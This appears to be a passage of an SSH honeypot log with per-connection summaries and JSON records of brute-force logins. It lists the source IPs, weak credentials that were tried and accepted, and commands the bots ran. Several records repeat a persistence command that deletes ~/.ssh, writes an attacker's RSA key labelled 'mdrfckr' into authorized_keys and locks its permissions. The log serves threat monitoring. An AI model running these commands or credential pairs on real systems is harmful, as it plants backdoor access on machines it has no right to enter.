HASSH Fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc

{
  "id": "a8c54c5451ce",
  "src_ip": "66.132.195.88",
  "start_time": "2026-07-07T04:44:24.255283Z",
  "end_time": "2026-07-07T04:44:40.492540Z",
  "duration": "16.2",
  "version": "SSH-2.0-Go",
  "hassh": "873a5fb5fedc2d4f8638ebde4abc6cfc",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.193.9.168

2026-07-07 04:43:32.439363 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 520fdf4c0156

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "520fdf4c0156",
  "src_ip": "120.193.9.168",
  "start_time": "2026-07-07T04:43:32.439363Z",
  "end_time": "2026-07-07T04:45:32.445742Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.193.9.168

2026-07-07 04:43:30.720262 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8568114a7f30

Client Version: Unknown

Engagement Duration: 0.5s

{
  "id": "8568114a7f30",
  "src_ip": "120.193.9.168",
  "start_time": "2026-07-07T04:43:30.720262Z",
  "end_time": "2026-07-07T04:43:31.185982Z",
  "duration": "0.5",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

115.191.11.100

2026-07-07 04:35:49.487061 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a6d333534be6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a6d333534be6",
  "src_ip": "115.191.11.100",
  "start_time": "2026-07-07T04:35:49.487061Z",
  "end_time": "2026-07-07T04:37:49.577033Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

103.154.77.48

2026-07-07 04:31:45.212760 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 44836a85267c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "44836a85267c",
  "src_ip": "103.154.77.48",
  "start_time": "2026-07-07T04:31:45.212760Z",
  "end_time": "2026-07-07T04:31:46.794126Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.154.77.48

2026-07-07 04:31:42.386134 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 9965692d5c67

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9965692d5c67",
  "src_ip": "103.154.77.48",
  "start_time": "2026-07-07T04:31:42.386134Z",
  "end_time": "2026-07-07T04:31:44.959029Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.154.77.48

2026-07-07 04:31:39.141785 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / 123qwe123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 71a460b9367d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "71a460b9367d",
  "src_ip": "103.154.77.48",
  "start_time": "2026-07-07T04:31:39.141785Z",
  "end_time": "2026-07-07T04:31:46.790194Z",
  "duration": "7.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "123qwe123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

116.109.216.74

2026-07-07 04:29:13.825545 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f76ef5992c44

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f76ef5992c44",
  "src_ip": "116.109.216.74",
  "start_time": "2026-07-07T04:29:13.825545Z",
  "end_time": "2026-07-07T04:29:15.203606Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

116.109.216.74

2026-07-07 04:29:11.232222 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3e63414698a3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3e63414698a3",
  "src_ip": "116.109.216.74",
  "start_time": "2026-07-07T04:29:11.232222Z",
  "end_time": "2026-07-07T04:29:13.608763Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

116.109.216.74

2026-07-07 04:29:08.399759 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 111213

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ccc80a4d57df

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ccc80a4d57df",
  "src_ip": "116.109.216.74",
  "start_time": "2026-07-07T04:29:08.399759Z",
  "end_time": "2026-07-07T04:29:15.206611Z",
  "duration": "6.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "111213"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

117.50.73.90

2026-07-07 04:27:03.345921 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76276a0bb5d6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "76276a0bb5d6",
  "src_ip": "117.50.73.90",
  "start_time": "2026-07-07T04:27:03.345921Z",
  "end_time": "2026-07-07T04:29:03.358055Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

187.56.133.95

2026-07-07 04:26:54.563022 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: c7533db2816b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "c7533db2816b",
  "src_ip": "187.56.133.95",
  "start_time": "2026-07-07T04:26:54.563022Z",
  "end_time": "2026-07-07T04:26:55.693547Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

187.56.133.95

2026-07-07 04:26:52.310874 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: afc7c6d99236

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "afc7c6d99236",
  "src_ip": "187.56.133.95",
  "start_time": "2026-07-07T04:26:52.310874Z",
  "end_time": "2026-07-07T04:26:54.394945Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

187.56.133.95

2026-07-07 04:26:49.895200 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / A100s200

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 717a61b70ec7

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 5.8s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "717a61b70ec7",
  "src_ip": "187.56.133.95",
  "start_time": "2026-07-07T04:26:49.895200Z",
  "end_time": "2026-07-07T04:26:55.689597Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "A100s200"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

118.196.92.141

2026-07-07 04:26:40.086037 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4bb370b64fe5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1m 3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4bb370b64fe5",
  "src_ip": "118.196.92.141",
  "start_time": "2026-07-07T04:26:40.086037Z",
  "end_time": "2026-07-07T04:27:43.056420Z",
  "duration": "63.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-07 04:19:57.835673 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: c342ee90eaaa

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "c342ee90eaaa",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T04:19:57.835673Z",
  "end_time": "2026-07-07T04:19:58.994996Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.143.11.150

2026-07-07 04:12:26.327933 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 912225285afc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "912225285afc",
  "src_ip": "103.143.11.150",
  "start_time": "2026-07-07T04:12:26.327933Z",
  "end_time": "2026-07-07T04:12:26.483741Z",
  "duration": "0.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.143.11.150

2026-07-07 04:12:25.162390 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3d8efe4e7fc7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3d8efe4e7fc7",
  "src_ip": "103.143.11.150",
  "start_time": "2026-07-07T04:12:25.162390Z",
  "end_time": "2026-07-07T04:12:26.312458Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.143.11.150

2026-07-07 04:12:24.784854 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Zxc12345

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: c07246b4340f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c07246b4340f",
  "src_ip": "103.143.11.150",
  "start_time": "2026-07-07T04:12:24.784854Z",
  "end_time": "2026-07-07T04:12:26.480787Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Zxc12345"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

146.185.142.238

2026-07-07 04:07:40.688094 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / iirtheory1123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: 95e506b7c66c

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "95e506b7c66c",
  "src_ip": "146.185.142.238",
  "start_time": "2026-07-07T04:07:40.688094Z",
  "end_time": "2026-07-07T04:07:41.896501Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "iirtheory1123"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

146.185.142.238

2026-07-07 04:07:40.675586 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / iirtheory1@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: 21d61c15b49d

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "21d61c15b49d",
  "src_ip": "146.185.142.238",
  "start_time": "2026-07-07T04:07:40.675586Z",
  "end_time": "2026-07-07T04:07:41.894249Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "iirtheory1@"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

146.185.142.238

2026-07-07 04:07:40.671817 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / iirtheory1!@

Remote entity achieved interactive shell state. Command sequence (1 executed):

